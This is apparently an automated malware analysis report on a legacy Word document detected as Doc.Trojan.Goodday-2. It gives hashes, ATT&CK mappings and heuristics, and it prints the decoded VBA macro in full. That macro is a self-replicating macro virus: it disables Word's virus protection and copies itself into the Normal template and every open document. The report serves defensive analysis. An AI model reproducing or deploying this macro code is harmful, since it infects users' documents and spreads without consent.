Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e749910c4bf704e4…

MALICIOUS

Office (OLE)

37.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0ccd5c0fc6df54ab0964cbbc5afb75bf SHA-1: dbb2056d602c19f81ebf7677f3a9c2cdb48d0763 SHA-256: e749910c4bf704e461aa795f44d6683c4d06e4f5a2c28dbd876bf16b54fef37c
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing VBA macros, including AutoOpen and AutoClose, which are commonly used for malicious purposes. The 'MacroCopy' subroutine attempts to copy the 'Maniac' macro module to the Normal template and any currently open documents, indicating an attempt to establish persistence or spread the macro. The ClamAV detection 'Doc.Trojan.Goodday-2' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Goodday-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Goodday-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1599 bytes
SHA-256: 8fa6a25cb9215aee32c1e231a0165474ec59c9ff540319872b004b21ce70722f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Maniac"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "º�EÚ 99-05-05 ÓÉ Administrator ´´½¨"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
  
  MacroCopy "open"
  
End Sub
Sub AutoNew()

  MacroCopy "new"
  
End Sub
Sub AutoClose()

  MacroCopy "close"
  
End Sub

Sub MacroCopy(ctype)

  On Error GoTo 0
    
  Application.Options.VirusProtection = False
  
  TExist = 0
  'For Each xItem In NormalTemplate.VBProject.VBComponents
  For Each xitem In NormalTemplate.VBProject.VBComponents
    'If xitem.Type = vbext_ct_StdModule Then Count = Count + 1
    If xitem.Name = "Maniac" Then TExist = 1
  Next xitem
  If TExist = 0 Then _
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Maniac", Object:=wdOrganizerObjectProjectItems
    
  For Each openDoc In Documents
    'MsgBox openDoc.FullName
    DExist = 0
    For Each xitem In openDoc.VBProject.VBComponents
      If xitem.Name = "Maniac" Then DExist = 1
    Next xitem
    If DExist = 0 Then
      Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=openDoc.FullName, Name:="Maniac", Object:=wdOrganizerObjectProjectItems
      If ctype = "open" Then openDoc.Save
    End If
  Next openDoc
   
End Sub

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